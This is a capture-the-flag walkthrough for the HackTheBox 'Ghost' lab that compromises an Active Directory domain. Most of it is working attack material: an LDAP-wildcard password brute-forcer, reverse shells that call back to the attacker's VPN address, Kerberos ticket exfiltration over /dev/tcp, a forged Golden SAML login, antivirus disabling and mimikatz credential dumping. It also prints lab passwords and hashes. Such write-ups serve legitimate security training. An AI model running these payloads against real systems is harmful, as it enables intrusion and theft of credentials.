HackTheBox Ghost Writeup
Explore the fundamentals of cybersecurity in the Ghost Capture The Flag (CTF) challenge, a insane-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
10.10.11.24 ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb federation.ghost.htb bitbucket.ghost.htb
Script to add hosts automatically
ip="10.10.11.24"
domain="ghost.htb intranet.ghost.htb gitea.ghost.htb core.ghost.htb federation.ghost.htb bitbucket.ghost.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV ghost.htb
Nmap scan report for ghost.htb (10.10.11.24)
Host is up (0.055s latency).
Not shown: 981 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-19 12:24:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp open https?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-11-19T12:17:22
|_Not valid after: 2054-11-19T12:17:22
|_ssl-date: 2024-11-19T12:25:26+00:00; +1s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after: 2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-11-19T12:25:26+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: GHOST
| NetBIOS_Domain_Name: GHOST
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: ghost.htb
| DNS_Computer_Name: DC01.ghost.htb
| DNS_Tree_Name: ghost.htb
| Product_Version: 10.0.20348
|_ System_Time: 2024-11-19T12:24:48+00:00
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-11-18T12:14:33
|_Not valid after: 2025-05-20T12:14:33
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-title: Ghost
|_http-generator: Ghost 5.78
8443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after: 2124-05-25T15:14:02
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-11-19T12:24:49
|_ start_date: N/A
Subdomains Discovery
Use ffuf to discover subdomains by fuzzing the Host header.
ffuf -w /usr/share/dict/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u "http://ghost.htb:8008" -H "Host: FUZZ.ghost.htb" -c -fs 7676
Discovered Subdomains
gitea.ghost.htbintranet.ghost.htb- (and more discovered subdomains)
LDAP Wildcard
The backend appears to perform an LDAP comparison with the user input. By injecting a wildcard character * as input bypassed authentication, resulting in a valid JWT token.
import string
import requests
from pwn import *
url = 'http://intranet.ghost.htb:8008/login'
bar = log.progress("Bruteforcing password")
headers = {
'Host': 'intranet.ghost.htb:8008',
'Accept-Language': 'en-US,en;q=0.5',
'Next-Router-State-Tree': '%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D',
'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'keep-alive'
}
password = ""
try:
while True:
found = False
for char in string.ascii_lowercase + string.digits:
bar.status(f"Trying '{password + char}*'")
files = {
'1_ldap-username': (None, 'gitea_temp_principal'),
'1_ldap-secret': (None, f'{password}{char}*'),
'0': (None, '[{},"$K1"]')
}
res = requests.post(url, headers=headers, files=files)
if res.status_code == 303:
password += char
found = True
break
if not found:
break
except KeyboardInterrupt:
bar.failure("Bruteforce interrupted")
bar.success(f"Final password: {password}")
After running the script, we obtain the following credentials for the user gitea_temp_principal:
- Username:
gitea_temp_principal - Password:
szrr8kpc3z6onlqf
Using these credentials, sign in at:
An interesting file found on the server is:
This file reveals a potential API key:
- API Key:
a5af628828958c976a3b6cc81a
Path Traversal Proof of Concept
The following commands demonstrate a path traversal vulnerability, allowing access to restricted files:
pathtraversal="../../../../proc/self/environ"
curl -s "http://ghost.htb:8008/ghost/api/v3/content/posts/?extra=$pathtraversal&key=a5af628828958c976a3b6cc81a" | jq ".meta.extra.\"$pathtraversal\""
This yelds !@yqr!X2kxmQ.@Xe
Remote Code Execution
The path traversal vulnerability enables remote code execution (RCE). A notable file, scan.rs, contains information suggesting an endpoint that can be exploited:
- File URL: http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev/scan.rs
Start a listener on your machine:
nc -lvnp 9001
Execute the payload:
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
timeout 5s curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d "{\"url\":\"0<&196;exec 196<>/dev/tcp/${vpnip}/9001; /bin/bash <&196 >&196 2>&196\"}"
Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Press Ctrl+Z to background the shell, then run:
stty size; stty raw -echo; fg
As the last step, set the terminal environment:
export TERM=xterm;
cat /docker-entrypoint.sh
[!Note] ControlMaster is an OpenSSH SSO feature that allows multiple sessions to share a single network connection. After an initial ssh connection with authentication, subsequent sessions (svn, rsync, etc.) reuse the connection without re-authentication. Learn more: Harvard FAS Guide.
ls -l /root/.ssh/controlmaster/
As we can see we can ssh in the target
ssh florence.ramirez@ghost.htb@dev-workstation
env
An interesting file is /tmp/krb5cc_50 is a ticket so
Setup a listener to receive the file in the local machine:
nc -lp 12345 > /tmp/krb5cc_50
In the target transfer tath file
cat /tmp/krb5cc_50 > /dev/tcp/<vpnip>/12345
In you local machine:
export KRB5CCNAME=/tmp/krb5cc_50
klist
Used nsupdate with GSS-TSIG to add DNS entries dynamically via VPN IP; krbrelayx-dnstool -k failed earlier.
vpnip=$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')
nsupdate -g -D <<EOF
server 10.10.11.24
zone ghost.htb
update add bitbucket.ghost.htb. 180 A $vpnip
send
EOF
sleep 1
dig @10.10.11.24 bitbucket.ghost.htb A
sudo responder -I tun0
Brute Force the Hash
echo -n "Password Hash? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat 5600 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt
this yelds Qwertyuiop1234$$
evil-winrm -i ghost.htb -u JUSTIN.BRADLEY -p 'Qwertyuiop1234$$'
cat \users\justin.bradley\desktop\user.txt
Get-ADGroup -Identity ‘Key Admins’ -Properties *
Members can perform admin actions on key domain objects. SID: S-1-5-21-4084500788-938703357-3654145966-526.
Query LDAP on your local machine:
nxc ldap 10.10.11.24 -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa
gMSA Account: adfs_gmsa$, NTLM Hash: 3d76bf27456f0e647a849e8afb99207a.
Golden SAML steps:
Add computer:
addcomputer.py -dc-ip 10.10.11.24 -method SAMR -computer-name PWN$ -computer-pass 'StrongPassword123!' ghost.htb/justin.bradley:'Qwertyuiop1234$$'
Connect with evil-winrm:
evil-winrm -i ghost.htb -u "ADFS_GMSA$" -H 3d76bf27456f0e647a849e8afb99207a
Upload & run ADFSDump.exe:
upload .local/www/win/lateral/ADFSDump.exe
./ADFSDump.exe
in your local pc
git clone https://github.com/mandiant/ADFSpoof
cd ADFSpoof
nano DKMKey.txt
8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1
Only the second privatekey works, so no need to test the others unless it fails.
nano TKSKey.txt
<Encrypted Token Signing Key>
Decoding Files:
cat TKSKey.txt | base64 -d > TKSKey.bin
cat DKMKey.txt | tr -d "-" | xxd -r -p > DKMkey.bin
ADFSpoof:
python -m venv venv
source venv/bin/activate
nano requirements.txt # make lxml==4.9.1 to lxml
pip install -r requirements.txt
pip3 install --upgrade six # https://github.com/benjaminp/six/issues/384
python ADFSpoof.py -b TKSKey.bin DKMkey.bin -s federation.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat 'urn:oasis:names:tc:SAML:2.0:cm:bearer' --nameid 'ghost.htb\administrator' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>administrator</AttributeValue></Attribute>'
Intercept GET /api/login https://core.ghost.htb:8443/api/login
In BurpSuite and Modify with this Request:
POST /adfs/saml/postResponse HTTP/1.1
Host: core.ghost.htb:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Length: 6397
Content-Type: application/x-www-form-urlencoded
SAMLResponse=<saml>
Response:
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 19 Nov 2024 17:20:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 46
Connection: close
X-Powered-By: Express
Location: /
Vary: Accept
Set-Cookie: connect.sid=s%3AHdCD4yL0Or9uswU2OB07OihJ-joRcI23.njsU8sex04qQFG6MK%2FKNTkTqTHvOZj38%2FJN4aVGVb%2F8; Path=/; HttpOnly
<p>Found. Redirecting to <a href="/">/</a></p>
Browser Request Setup:
- In Burp Suite’s Response tab, right-click and select Request in Browser. Copy the generated link and paste it in the browser where you are sending traffic through Burp’s proxy.
- Click Repeat Request to initiate the request.
Now you can execute SQL queries on the remote server.
Verify Linked Servers:
EXEC sp_linkedservers;
SELECT * FROM master..sysservers;
Enable Command Execution on PRIMARY:
- Execute commands on the remote PRIMARY machine (
CORP.GHOST.HTB) by enablingxp_cmdshell. This configuration allows remote command execution.
EXECUTE('EXECUTE AS LOGIN = ''sa'';
EXEC SP_CONFIGURE ''show advanced options'', 1;
RECONFIGURE;
EXEC SP_CONFIGURE ''xp_cmdshell'', 1;
RECONFIGURE;
EXEC xp_cmdshell ''whoami''') AT "PRIMARY";
Reverse Shell Setup:
- With command execution now available on PRIMARY, set up a reverse shell.
Prepare the Host for Reverse Shell:
- Create a test directory:
EXECUTE('EXECUTE AS LOGIN = ''sa'';
EXEC SP_CONFIGURE ''show advanced options'', 1;
RECONFIGURE;
EXEC SP_CONFIGURE ''xp_cmdshell'', 1;
RECONFIGURE;
EXEC xp_cmdshell ''powershell.exe -c mkdir c:/test''') AT "PRIMARY";
- Download Netcat:
EXECUTE('EXECUTE AS LOGIN = ''sa'';
EXEC SP_CONFIGURE ''show advanced options'', 1;
RECONFIGURE;
EXEC SP_CONFIGURE ''xp_cmdshell'', 1;
RECONFIGURE;
EXEC xp_cmdshell ''powershell.exe -c curl <vpnip>:8000/nc64.exe -o c:/test/nc64.exe''') AT "PRIMARY";
- Listener:
nc -lvnp 9002
- Execute Netcat for Reverse Shell:
EXECUTE('EXECUTE AS LOGIN = ''sa'';
EXEC SP_CONFIGURE ''xp_cmdshell'', 1;
RECONFIGURE;
EXEC xp_cmdshell ''c:/test/nc64.exe <vpnip> 9002 -e powershell''') AT "PRIMARY";
whoami /priv shows SeImpersonatePrivilege so EfsPotato:
Local:
wget https://raw.githubusercontent.com/zcgonvh/EfsPotato/refs/heads/master/EfsPotato.cs
python -m http.server
Local:
nc -lvnp 9003
Target:
cd \test
curl http://<vpnip>:8000/EfsPotato.cs -o EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
.\EfsPotato.exe 'nc64.exe <vpnip> 9003 -e powershell.exe'
Set-MpPreference -DisableRealtimeMonitoring $True
curl http://<vpnip>:8000/mimikatz.exe -o mimikatz.exe
curl http://<vpnip>:8000/Rubeus.exe -o Rubeus.exe
curl http://<vpnip>:8000/PowerView.ps1 -o PowerView.ps1
. .\PowerView.ps1
Get-DomainSID
Convert-NameToSid ghost.htb\krbtgt
Get-NetUser | Select-Object -Property samaccountname, objectsid
Note: Set-MpPreference disables antivirus to allow Mimikatz to run without interference.
Manual:
.\mimikatz.exe "lsadump::trust /patch" "exit"
Get rc4_hmac_nt 5800ef4f9195c6c03cf4ff911a80c55c from the [ In ].
To address the timing issue where the TGS may expire if the process isn’t fast enough, the following script automates the workflow with Mimikatz and Rubeus :
$mimikatzPath = ".\mimikatz.exe"
$rubeusPath = ".\Rubeus.exe"
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:5800ef4f9195c6c03cf4ff911a80c55c /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi" exit'
$rubeusCmd = "/ticket:golden.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt"
$targetDirectory = "\\dc01.ghost.htb\c$\users\administrator\desktop\"
function Run-Command {
param (
[string]$cmd
)
& cmd /c $cmd | Out-Null
}
while ($true) {
try {
Run-Command "$mimikatzPath $mimikatzTrustCmd"
Run-Command "$mimikatzPath $mimikatzGoldenCmd"
Run-Command "$rubeusPath asktgs $rubeusCmd"
$access = Test-Path $targetDirectory
if ($access) {
Write-Host "Access granted to $targetDirectory"
dir $targetDirectory
break
} else {
Write-Host "Access denied. Purging tickets and retrying..."
klist purge
}
} catch {
Write-Host "An error occurred: $_"
klist purge
}
}
type \\dc01.ghost.htb\c$\users\administrator\desktop\root.txt
Local:
nc -lvnp 9004
rce.ps1
$LHOST = "<vpnip>"; $LPORT = 9004; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
Local
curl -s https://github.com/Maksymilian-cloud/PsExec/raw/refs/heads/main/PsExec64.exe -o PsExec.exe
python -m http.server
curl http://<vpnip>:8000/rce.ps1 -o rce.ps1
curl http://<vpnip>:8000/PsExec64.exe -o PsExec64.exe
copy C:\test\rce.ps1 \\dc01.ghost.htb\c$\programdata\rce.ps1
.\PsExec64.exe -accepteula \\DC01.ghost.htb cmd.exe /c "powershell -c C:\programdata\rce.ps1"
In 9004:
cd \
Set-MpPreference -DisableRealtimeMonitoring $True
curl http://10.10.14.54:8000/mimikatz.exe -o mimikatz.exe
.\mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
1cdb17d5c14ff69e7067cffcc9e470bd